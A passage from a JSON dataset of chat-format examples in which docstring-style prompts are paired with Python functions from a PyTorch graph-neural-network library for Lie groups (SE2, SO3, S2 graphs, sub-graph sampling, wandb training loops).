"message_id": 0 }, { "role": "user", "content": "Return the squared riemannian distances between group elements in matrix formulation..", "conversation_id": 931, "message_id": 1 }, { "role": "assistant", "content": "def s2_riemannian_sqdist(Gg, Gh, Re):\n G = torch.matmul(s2_inverse(Gg), Gh)\n return weighted_norm(s2_log(G), Re)", "conversation_id": 931, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 932, "message_id": 0 }, { "role": "user", "content": "Returns the squared riemannian distances between group elements in matrix formulation..", "conversation_id": 932, "message_id": 1 }, { "role": "assistant", "content": "def so3_riemannian_sqdist(Gg, Gh, Re):\n G = torch.matmul(so3_inverse(Gg), Gh)\n alpha, beta, gamma = so3_element(G)\n sqdist1 = weighted_norm(so3_log(so3_matrix(alpha, beta, gamma)), Re)\n sqdist2 = weighted_norm(so3_log(so3_matrix(alpha - math.pi, beta, gamma)), Re)\n sqdist3 = weighted_norm(so3_log(so3_matrix(alpha + math.pi, beta, gamma)), Re)\n sqdist, _ = torch.stack((sqdist1, sqdist2, sqdist3)).min(dim=0)\n return sqdist", "conversation_id": 932, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 933, "message_id": 0 }, { "role": "user", "content": "Make the graph undirected, that is create an inverse edge for each edge..", "conversation_id": 933, "message_id": 1 }, { "role": "assistant", "content": "def to_undirected(edge_index, edge_sqdist, edge_weight=None, num_vertices=None, max_sqdist=None, self_loop=False):\n num_vertices = num_vertices or edge_index.max() + 1\n sqdist_matrix = torch.sparse.FloatTensor(edge_index, edge_sqdist, torch.Size((num_vertices, num_vertices))).to_dense()\n mask = sqdist_matrix.t() == sqdist_matrix\n if max_sqdist is not None:\n mask &= sqdist_matrix <= max_sqdist\n undirected_sqdist_matrix = torch.zeros_like(sqdist_matrix)\n undirected_sqdist_matrix[mask] = sqdist_matrix[mask]\n undirected_sqdist_matrix = undirected_sqdist_matrix.to_sparse()\n if edge_weight is not None:\n weight_matrix = torch.sparse.FloatTensor(edge_index, edge_weight, torch.Size((num_vertices, num_vertices))).to_dense()\n undirected_weight_matrix = torch.zeros_like(weight_matrix)\n undirected_weight_matrix[mask] = weight_matrix[mask]\n undirected_weight_matrix = undirected_weight_matrix.to_sparse()\n edge_index = undirected_sqdist_matrix.indices()\n edge_sqdist = undirected_sqdist_matrix.values()\n if edge_weight is not None:\n edge_weight = undirected_weight_matrix.values()\n if self_loop:\n if edge_weight is None:\n return edge_index, edge_sqdist\n return edge_index, edge_sqdist, edge_weight\n return remove_self_loops(edge_index, edge_sqdist, edge_weight)", "conversation_id": 933, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 934, "message_id": 0 }, { "role": "user", "content": "Removes all self-loop in the graph..", "conversation_id": 934, "message_id": 1 }, { "role": "assistant", "content": "def remove_self_loops(edge_index, edge_sqdist, edge_weight=None):\n mask = edge_index[0] != edge_index[1]\n if edge_weight is None:\n return edge_index[..., mask], edge_sqdist[mask]\n return edge_index[..., mask], edge_sqdist[mask], edge_weight[mask]", "conversation_id": 934, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 935, "message_id": 0 }, { "role": "user", "content": "Add a self-loop for each vertex of the graph..", "conversation_id": 935, "message_id": 1 }, { "role": "assistant", "content": "def add_self_loops(edge_index, edge_attr, weight=1.0):\n self_loop_index = edge_index[0].unique().unsqueeze(0).repeat(2, 1)\n self_loop_attr = weight * torch.ones(self_loop_index.shape[1])\n edge_index = torch.cat((self_loop_index, edge_index), dim=1)\n edge_attr = torch.cat((self_loop_attr, edge_attr))\n return edge_index, edge_attr", "conversation_id": 935, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 936, "message_id": 0 }, { "role": "user", "content": "U-net-like model training on ClimateNet for the segmentation of extreme meteorogolical events..", "conversation_id": 936, "message_id": 1 }, { "role": "assistant", "content": "def train(config=None):\n with wandb.init(config=config, project=\"cheblienet\"):\n config = wandb.config\n wandb.log({\"dataset\": \"artc\"})\n wandb.log(vars(args))\n device = torch.device(\"cuda\" if torch.cuda.is_available() and args.cuda else \"cpu\")\n if args.anisotropic:\n graph_lvl0 = SO3GEGraph(\n size=[12, config.nalpha],\n sigmas=(1.0, config.eps, config.xi_0),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n graph_lvl1 = SO3GEGraph(\n size=[42, config.nalpha],\n sigmas=(1.0, config.eps, config.xi_1),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n graph_lvl2 = SO3GEGraph(\n size=[162, config.nalpha],\n sigmas=(1.0, config.eps, config.xi_2),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n graph_lvl3 = SO3GEGraph(\n size=[642, config.nalpha],\n sigmas=(1.0, config.eps, config.xi_3),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n graph_lvl4 = SO3GEGraph(\n size=[2562, config.nalpha],\n sigmas=(1.0, config.eps, config.xi_4),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n graph_lvl5 = SO3GEGraph(\n size=[10242, config.nalpha],\n sigmas=(1.0, config.eps, config.xi_5),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n else:\n graph_lvl0 = S2GEGraph(\n size=[12, config.nalpha],\n sigmas=(1.0, config.eps, config.xi_0),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n graph_lvl1 = S2GEGraph(\n size=[42, config.nalpha],\n sigmas=(1.0, config.eps, config.xi_1),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n graph_lvl2 = S2GEGraph(\n size=[162, config.nalpha],\n sigmas=(1.0, config.eps, config.xi_2),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n graph_lvl3 = S2GEGraph(\n size=[642, config.nalpha],\n sigmas=(1.0, config.eps, config.xi_3),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n graph_lvl4 = S2GEGraph(\n size=[2562, config.nalpha],\n sigmas=(1.0, config.eps, config.xi_4),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n graph_lvl5 = S2GEGraph(\n size=[10242, config.nalpha],\n sigmas=(1.0, config.eps, config.xi_5),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n output_graph = S2GEGraph(\n size=[10242, 1],\n sigmas=(1.0, 1.0, 1.0),\n K=config.K,\n path_to_graph=args.path_to_graph,\n )\n model = SO3GEUChebNet(\n 16,\n 3,\n config.kernel_size,\n graph_lvl0,\n graph_lvl1,\n graph_lvl2,\n graph_lvl3,\n graph_lvl4,\n graph_lvl5,\n output_graph,\n args.reduction,\n args.expansion,\n ).to(device)\n wandb.log({\"capacity\": capacity(model)})\n optimizer = Adam(model.parameters(), lr=args.lr)\n train_loader, _ = get_train_val_loaders(\n \"artc\",\n batch_size=args.batch_size,\n num_layers=config.nalpha,\n val_ratio=0.0,\n path_to_data=args.path_to_data,\n )\n test_loader = get_test_loader(\n \"artc\", batch_size=args.batch_size, num_layers=config.nalpha, path_to_data=args.path_to_data\n )\n trainer = create_supervised_trainer(\n graph=graph_lvl5,\n model=model,\n optimizer=optimizer,\n loss_fn=nll_loss,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Training\").attach(trainer)\n cm = ConfusionMatrix(num_classes=3)\n miou = mIoU(cm)\n miou_wo_bg = mIoU(cm, ignore_index=0)\n f1 = Fbeta(1, precision=Precision(average=False), recall=Recall(average=False))\n acc_bg = PerClassAccuracy(0)\n acc_ar = PerClassAccuracy(1)\n acc_tc = PerClassAccuracy(2)\n mean_average_precision = AveragePrecision(output_transform=output_transform_mAP)\n loss = Loss(nll_loss)\n metrics = {\n \"test_F1\": f1,\n \"test_mIoU\": miou,\n \"test_mIoU_bg\": miou_wo_bg,\n \"test_loss\": loss,\n \"test_acc_bg\": acc_bg,\n \"test_acc_ar\": acc_ar,\n \"test_acc_tc\": acc_tc,\n \"test_mAP\": mean_average_precision,\n }\n evaluator = create_supervised_evaluator(\n graph=graph_lvl5,\n model=model,\n metrics=metrics,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Evaluation\").attach(evaluator)\n _ = trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, evaluator, test_loader)\n trainer.run(train_loader, max_epochs=args.max_epochs)", "conversation_id": 936, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 937, "message_id": 0 }, { "role": "user", "content": "Gets training configuration for bayesian hyper-parameters optimization..", "conversation_id": 937, "message_id": 1 }, { "role": "assistant", "content": "def build_sweep_config() -> dict:\n sweep_config = {\n \"method\": \"bayes\",\n \"metric\": {\"name\": \"validation_accuracy\", \"goal\": \"maximize\"},\n }\n parameters = {\n \"batch_size\": {\"distribution\": \"categorical\", \"values\": [8, 16, 32]},\n \"kernel_size\": {\"distribution\": \"categorical\", \"values\": [2, 3, 4, 5, 6]},\n \"K\": {\"distribution\": \"categorical\", \"values\": [8, 16, 32]},\n \"xi\": {\"distribution\": \"log_uniform\", \"min\": math.log(1e-4), \"max\": math.log(1e-1)},\n \"ntheta\": {\"distribution\": \"int_uniform\", \"min\": 2, \"max\": 9},\n \"eps\": {\"distribution\": \"log_uniform\", \"min\": math.log(1e-2), \"max\": math.log(1)},\n }\n sweep_config[\"parameters\"] = parameters\n return sweep_config", "conversation_id": 937, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 938, "message_id": 0 }, { "role": "user", "content": "Bayesian hyper-parameters optimization on CIFAR10..", "conversation_id": 938, "message_id": 1 }, { "role": "assistant", "content": "def train(config=None):\n with wandb.init(config=config):\n config = wandb.config\n wandb.log({\"dataset\": \"cifar10\"})\n wandb.log(vars(args))\n device = torch.device(\"cuda\" if torch.cuda.is_available() and args.cuda else \"cpu\")\n graph_lvl0 = SE2GEGraph(\n [8, 8, config.ntheta],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi * 16),\n path_to_graph=args.path_to_graph,\n )\n graph_lvl1 = SE2GEGraph(\n [16, 16, config.ntheta],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi * 4),\n path_to_graph=args.path_to_graph,\n )\n graph_lvl2 = SE2GEGraph(\n [32, 32, config.ntheta],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi),\n path_to_graph=args.path_to_graph,\n )\n model = WideResSE2GEChebNet(\n in_channels=3,\n out_channels=10,\n kernel_size=config.kernel_size,\n graph_lvl0=graph_lvl0,\n graph_lvl1=graph_lvl1,\n graph_lvl2=graph_lvl2,\n res_depth=args.res_depth,\n widen_factor=args.widen_factor,\n reduction=args.reduction if args.pool else None,\n ).to(device)\n wandb.log({\"capacity\": capacity(model)})\n optimizer = Adam(model.parameters(), lr=args.lr)\n train_loader, val_loader = get_train_val_loaders(\n \"cifar10\",\n batch_size=config.batch_size,\n val_ratio=0.3,\n path_to_data=args.path_to_data,\n )\n trainer = create_supervised_trainer(\n graph=graph_lvl2,\n model=model,\n optimizer=optimizer,\n loss_fn=nll_loss,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Training\").attach(trainer)\n metrics = {\"validation_accuracy\": Accuracy(), \"validation_loss\": Loss(nll_loss)}\n evaluator = create_supervised_evaluator(\n graph=graph_lvl2,\n model=model,\n metrics=metrics,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Evaluation\").attach(evaluator)\n trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, evaluator, val_loader)\n trainer.run(train_loader, max_epochs=args.max_epochs)", "conversation_id": 938, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 939, "message_id": 0 }, { "role": "user", "content": "Trains a model on STL10 and evaluates its performance on STL10, Flip-STL10 and 90Rot-STL10..", "conversation_id": 939, "message_id": 1 }, { "role": "assistant", "content": "def train(config=None):\n with wandb.init(config=config, project=\"cheblienet\"):\n config = wandb.config\n wandb.log({\"dataset\": \"stl10\"})\n wandb.log(vars(args))\n device = torch.device(\"cuda\" if torch.cuda.is_available() and args.cuda else \"cpu\")\n if args.anisotropic:\n graph_lvl0 = SE2GEGraph(\n [24, 24, config.ntheta],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi_0),\n path_to_graph=args.path_to_graph,\n )\n graph_lvl1 = SE2GEGraph(\n [48, 48, config.ntheta],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi_1),\n path_to_graph=args.path_to_graph,\n )\n graph_lvl2 = SE2GEGraph(\n [96, 96, config.ntheta],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi_2),\n path_to_graph=args.path_to_graph,\n )\n else:\n graph_lvl0 = R2GEGraph(\n [24, 24, 1],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi_0),\n path_to_graph=args.path_to_graph,\n )\n graph_lvl1 = R2GEGraph(\n [48, 48, 1],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi_1),\n path_to_graph=args.path_to_graph,\n )\n graph_lvl2 = R2GEGraph(\n [96, 96, 1],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi_2),\n path_to_graph=args.path_to_graph,\n )\n model = WideResSE2GEChebNet(\n in_channels=3,\n out_channels=10,\n kernel_size=config.kernel_size,\n graph_lvl0=graph_lvl0,\n graph_lvl1=graph_lvl1,\n graph_lvl2=graph_lvl2,\n res_depth=args.res_depth,\n widen_factor=args.widen_factor,\n reduction=args.reduction,\n ).to(device)\n wandb.log({\"capacity\": capacity(model)})\n optimizer = Adam(model.parameters(), lr=args.lr)\n train_loader, _ = get_train_val_loaders(\n \"stl10\",\n batch_size=args.batch_size,\n val_ratio=0.0,\n num_layers=config.ntheta,\n path_to_data=args.path_to_data,\n )\n test_loader = get_test_loader(\n \"stl10\", batch_size=args.batch_size, num_layers=config.ntheta, path_to_data=args.path_to_data\n )\n trainer = create_supervised_trainer(\n graph=graph_lvl2,\n model=model,\n optimizer=optimizer,\n loss_fn=nll_loss,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Training\").attach(trainer)\n metrics = {\"test_accuracy\": Accuracy(), \"test_loss\": Loss(nll_loss)}\n evaluator = create_supervised_evaluator(\n graph=graph_lvl2,\n model=model,\n metrics=metrics,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Evaluation\").attach(evaluator)\n trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, evaluator, test_loader)\n trainer.run(train_loader, max_epochs=args.max_epochs)", "conversation_id": 939, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 940, "message_id": 0 }, { "role": "user", "content": "Factory function for creating a trainer for supervised models..", "conversation_id": 940, "message_id": 1 }, { "role": "assistant", "content": "def create_supervised_trainer(\n graph,\n model,\n optimizer,\n loss_fn,\n device=None,\n prepare_batch=None,\n output_transform=None,\n):\n device = device or torch.device(\"cpu\")\n prepare_batch = prepare_batch if prepare_batch is not None else lambda x, y: (x, y)\n output_transform = output_transform if output_transform is not None else lambda x, y, y_pred, loss: loss.item()\n def _update(engine, batch):\n model.train()\n optimizer.zero_grad()\n x, y = prepare_batch(batch, graph, device)\n y_pred = model(x)\n loss = loss_fn(y_pred, y)\n loss.backward()\n optimizer.step()\n return output_transform(x, y, y_pred, loss)\n trainer = Engine(_update)\n return trainer", "conversation_id": 940, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 941, "message_id": 0 }, { "role": "user", "content": "Factory function for creating an evaluator for supervised models..", "conversation_id": 941, "message_id": 1 }, { "role": "assistant", "content": "def create_supervised_evaluator(graph, model, metrics=None, device=None, prepare_batch=None, output_transform=None):\n metrics = metrics or {}\n device = device or torch.device(\"cpu\")\n prepare_batch = prepare_batch if prepare_batch is not None else lambda x, y: (x, y)\n output_transform = output_transform if output_transform is not None else lambda x, y, y_pred: (y_pred, y)\n def _inference(engine, batch):\n model.eval()\n with torch.no_grad():\n x, y = prepare_batch(batch, graph, device)\n y_pred = model(x)\n return output_transform(x, y, y_pred)\n evaluator = Engine(_inference)\n for name, metric in metrics.items():\n metric.attach(evaluator, name)\n return evaluator", "conversation_id": 941, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 942, "message_id": 0 }, { "role": "user", "content": "Download the dataset if it doesn't already exist..", "conversation_id": 942, "message_id": 1 }, { "role": "assistant", "content": "def download(self):\n if not self.check_exists():\n download_and_extract_archive(self.resource, download_root=os.path.split(self.path_to_data)[0])\n else:\n print(\"Data already exists\")", "conversation_id": 942, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 943, "message_id": 0 }, { "role": "user", "content": "Check if dataset already exists..", "conversation_id": 943, "message_id": 1 }, { "role": "assistant", "content": "def check_exists(self):\n return os.path.exists(self.path_to_data)", "conversation_id": 943, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 944, "message_id": 0 }, { "role": "user", "content": "Return a new tensor filled with rotation matrices..", "conversation_id": 944, "message_id": 1 }, { "role": "assistant", "content": "def rotation_matrix(angle, axis, device=None):\n R = torch.zeros(angle.nelement(), 3, 3, device=device)\n cos = torch.cos(angle)\n sin = torch.sin(angle)\n if axis == \"x\":\n R[..., 0, 0] = 1.0\n R[..., 1, 1] = cos\n R[..., 1, 2] = -sin\n R[..., 2, 1] = sin\n R[..., 2, 2] = cos\n if axis == \"y\":\n R[..., 0, 0] = cos\n R[..., 0, 2] = sin\n R[..., 2, 0] = -sin\n R[..., 2, 2] = cos\n R[..., 1, 1] = 1.0\n if axis == \"z\":\n R[..., 0, 0] = cos\n R[..., 0, 1] = -sin\n R[..., 1, 0] = sin\n R[..., 1, 1] = cos\n R[..., 2, 2] = 1.0\n return R", "conversation_id": 944, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 945, "message_id": 0 }, { "role": "user", "content": "Return new tensors corresponding to angle representation from the cartesian representation.\nWarning: x, y, z have to be on the 1-sphere..", "conversation_id": 945, "message_id": 1 }, { "role": "assistant", "content": "def xyz2betagamma(x, y, z):\n beta = torch.acos(z)\n gamma = torch.atan2(y, x)\n return beta, gamma", "conversation_id": 945, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 946, "message_id": 0 }, { "role": "user", "content": "Returns new tensors corresponding to angle representation from the cartesian representation..", "conversation_id": 946, "message_id": 1 }, { "role": "assistant", "content": "def betagamma2xyz(beta, gamma, axis=None):\n if axis == \"x\":\n return torch.sin(beta) * torch.cos(gamma)\n if axis == \"y\":\n return torch.sin(beta) * torch.sin(gamma)\n if axis == \"z\":\n return torch.cos(beta)\n x = torch.sin(beta) * torch.cos(gamma)\n y = torch.sin(beta) * torch.sin(gamma)\n z = torch.cos(beta)\n return x, y, z", "conversation_id": 946, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 947, "message_id": 0 }, { "role": "user", "content": "Check if input is a numpy object..", "conversation_id": 947, "message_id": 1 }, { "role": "assistant", "content": "def _is_numpy(input):\n return isinstance(input, np.ndarray)", "conversation_id": 947, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 948, "message_id": 0 }, { "role": "user", "content": "Convert a ``PIL Image`` to a tensor of the same type.\nThis function does not support torchscript..", "conversation_id": 948, "message_id": 1 }, { "role": "assistant", "content": "def pil_to_tensor(input):\n if not _is_pil_image(input):\n raise TypeError(\"input should be PIL Image. Got {}\".format(type(input)))\n default_float_dtype = torch.get_default_dtype()\n if input.mode == \"I\":\n output = torch.from_numpy(np.array(input, np.int32, copy=False))\n elif input.mode == \"I;16\":\n output = torch.from_numpy(np.array(input, np.int16, copy=False))\n elif input.mode == \"F\":\n output = torch.from_numpy(np.array(input, np.float32, copy=False))\n elif input.mode == \"1\":\n output = 255 * torch.from_numpy(np.array(input, np.uint8, copy=False))\n else:\n output = torch.ByteTensor(torch.ByteStorage.from_buffer(input.tobytes()))\n output = output.view(input.size[1], input.size[0], len(input.getbands()))\n output = output.permute((2, 0, 1)).contiguous()\n if isinstance(output, torch.ByteTensor):\n return output.to(dtype=default_float_dtype).div(255)\n else:\n return output", "conversation_id": 948, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 949, "message_id": 0 }, { "role": "user", "content": "Return the diffusion kernel of the graph specified by the kernel input..", "conversation_id": 949, "message_id": 1 }, { "role": "assistant", "content": "def diff_kernel(self, kernel):\n lambdas, Phi = self.get_eigen_space()\n return Phi @ np.diag(kernel(lambdas)) @ Phi.T", "conversation_id": 949, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 950, "message_id": 0 }, { "role": "user", "content": "Return the total number of vertices of the graph..", "conversation_id": 950, "message_id": 1 }, { "role": "assistant", "content": "def num_vertices(self):\n return self.vertex_index.shape[0]", "conversation_id": 950, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 951, "message_id": 0 }, { "role": "user", "content": "Return the total number of edges of the graph..", "conversation_id": 951, "message_id": 1 }, { "role": "assistant", "content": "def num_edges(self):\n return self.edge_index.shape[1]", "conversation_id": 951, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 952, "message_id": 0 }, { "role": "user", "content": "Returns the vertex's neighborhood..", "conversation_id": 952, "message_id": 1 }, { "role": "assistant", "content": "def neighborhood(self, vertex_index):\n if not vertex_index in self.vertex_index:\n raise ValueError(f\"{vertex_index} is not a valid vertex index\")\n mask = self.edge_index[0] == vertex_index\n return self.edge_index[1, mask], self.edge_weight[mask], self.edge_sqdist[mask]", "conversation_id": 952, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 953, "message_id": 0 }, { "role": "user", "content": "Save graph's attributes..", "conversation_id": 953, "message_id": 1 }, { "role": "assistant", "content": "def save(self, path_to_graph):\n os.makedirs(path_to_graph, exist_ok=True)\n torch.save(self.vertex_index, os.path.join(path_to_graph, f\"{self.hash_repr()}_vertex_index.pt\"))\n torch.save(self.edge_index, os.path.join(path_to_graph, f\"{self.hash_repr()}_edge_index.pt\"))\n torch.save(self.edge_sqdist, os.path.join(path_to_graph, f\"{self.hash_repr()}_edge_sqdist.pt\"))\n torch.save(self.edge_weight, os.path.join(path_to_graph, f\"{self.hash_repr()}_edge_weight.pt\"))\n for vertex_attr in self.vertex_attributes:\n torch.save(getattr(self, vertex_attr), os.path.join(path_to_graph, f\"{self.hash_repr()}_{vertex_attr}.pt\"))", "conversation_id": 953, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 954, "message_id": 0 }, { "role": "user", "content": "Load graph's attributes..", "conversation_id": 954, "message_id": 1 }, { "role": "assistant", "content": "def load(self, path_to_graph):\n self.vertex_index = torch.load(os.path.join(path_to_graph, f\"{self.hash_repr()}_vertex_index.pt\"))\n self.edge_index = torch.load(os.path.join(path_to_graph, f\"{self.hash_repr()}_edge_index.pt\"))\n self.edge_sqdist = torch.load(os.path.join(path_to_graph, f\"{self.hash_repr()}_edge_sqdist.pt\"))\n self.edge_weight = torch.load(os.path.join(path_to_graph, f\"{self.hash_repr()}_edge_weight.pt\"))\n for vertex_attr in self.vertex_attributes:\n setattr(self, vertex_attr, torch.load(os.path.join(path_to_graph, f\"{self.hash_repr()}_{vertex_attr}.pt\")))", "conversation_id": 954, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 955, "message_id": 0 }, { "role": "user", "content": "Reinitialize random sub-graph vertices and edges' attributes..", "conversation_id": 955, "message_id": 1 }, { "role": "assistant", "content": "def reinit(self):\n print(\"Reinit graph...\")\n if hasattr(self, \"laplacian\"):\n del self.laplacian\n self.vertex_index = self.graph.vertex_index.clone()\n self.sub_vertex_index = self.vertex_index.clone()\n for attr in self.graph.vertex_attributes:\n setattr(self, attr, getattr(self.graph, attr))\n self.edge_index = self.graph.edge_index.clone()\n self.edge_weight = self.graph.edge_weight.clone()\n self.edge_sqdist = self.graph.edge_sqdist.clone()\n print(\"Done!\")", "conversation_id": 955, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 956, "message_id": 0 }, { "role": "user", "content": "Randomly samples a given rate of edges from the original graph to generate a random sub-graph.\nThe graph is assumed to be undirected and the probability for an edge to be sampled is proportional\nto its weight..", "conversation_id": 956, "message_id": 1 }, { "role": "assistant", "content": "def edges_sampling(self, rate):\n print(\"Sample edges...\")\n mask = self.graph.edge_index[0] < self.graph.edge_index[1]\n edge_index = self.graph.edge_index[..., mask]\n edge_weight = self.graph.edge_weight[mask]\n edge_sqdist = self.graph.edge_sqdist[mask]\n num_samples = math.ceil(rate * edge_weight.nelement())\n sampled_edges = torch.multinomial(edge_weight, num_samples)\n sampled_edge_index = edge_index[..., sampled_edges]\n sampled_edge_weight = edge_weight[sampled_edges]\n sampled_edge_sqdist = edge_sqdist[sampled_edges]\n self.edge_index = torch.cat((sampled_edge_index.flip(0), sampled_edge_index), 1)\n self.edge_weight = sampled_edge_weight.repeat(2)\n self.edge_sqdist = sampled_edge_sqdist.repeat(2)\n print(\"Done!\")", "conversation_id": 956, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 957, "message_id": 0 }, { "role": "user", "content": "Randomly samples a given rate of vertices from the original graph to generate a random subgraph.\nAll the vertices have the same probability being sampled and at the end of the algorithm, it only remains\nedges between sampled vertices.\n\nvertices' sampling is not compatible with pooling and unpooling operations for now.", "conversation_id": 957, "message_id": 1 }, { "role": "assistant", "content": "def vertices_sampling(self, rate):\n print(\"Sample vertices...\")\n num_samples = math.floor(rate * self.graph.num_vertices)\n sampled_vertices, _ = torch.multinomial(torch.ones(self.graph.num_vertices), num_samples).sort()\n self.vertex_index = torch.arange(num_samples)\n self.sub_vertex_index = sampled_vertices.clone()\n for attr in self.graph.vertex_attributes:\n setattr(self, attr, getattr(self.graph, attr)[sampled_vertices])\n vertex_mapping = torch.empty(self.graph.num_vertices, dtype=torch.long).fill_(-1)\n vertex_mapping[self.graph.vertex_index[sampled_vertices]] = self.vertex_index\n edge_index = vertex_mapping[self.graph.edge_index]\n mask = (edge_index[0] >= 0) & (edge_index[1] >= 0)\n self.edge_index = edge_index[:, mask]\n self.edge_weight = self.graph.edge_weight[mask]\n self.edge_sqdist = self.graph.edge_sqdist[mask]\n print(\"Done!\")", "conversation_id": 957, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 958, "message_id": 0 }, { "role": "user", "content": "Returns the cartesian position of the graph's vertices..", "conversation_id": 958, "message_id": 1 }, { "role": "assistant", "content": "def cartesian_pos(self, axis=None):\n x, y, z = self.graph.cartesian_pos()\n if axis == \"x\":\n return x[self.sub_vertex_index]\n if axis == \"y\":\n return y[self.sub_vertex_index]\n if axis == \"z\":\n return z[self.sub_vertex_index]\n return x[self.sub_vertex_index], y[self.sub_vertex_index], z[self.sub_vertex_index]", "conversation_id": 958, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 959, "message_id": 0 }, { "role": "user", "content": "Returns the graph's vertices attributes..", "conversation_id": 959, "message_id": 1 }, { "role": "assistant", "content": "def vertex_attributes(self):\n return self.graph.vertex_attributes", "conversation_id": 959, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 960, "message_id": 0 }, { "role": "user", "content": "Return the riemannian squared distance between GL(3) group elements Gg and Gh according to the\nriemannian metric Re..", "conversation_id": 960, "message_id": 1 }, { "role": "assistant", "content": "def riemannian_sqdist(self, Gg, Gh, Re):\n return se2_riemannian_sqdist(Gg, Gh, Re)", "conversation_id": 960, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 961, "message_id": 0 }, { "role": "user", "content": "Return the group elements of graph's vertices..", "conversation_id": 961, "message_id": 1 }, { "role": "assistant", "content": "def group_element(self):\n return self.vertex_x, self.vertex_y, self.vertex_theta", "conversation_id": 961, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 962, "message_id": 0 }, { "role": "user", "content": "Return the general linear group elements of graph's vertices..", "conversation_id": 962, "message_id": 1 }, { "role": "assistant", "content": "def general_linear_group_element(self):\n return se2_matrix(self.vertex_x, self.vertex_y, self.vertex_theta)", "conversation_id": 962, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 963, "message_id": 0 }, { "role": "user", "content": "Return the name of the group's 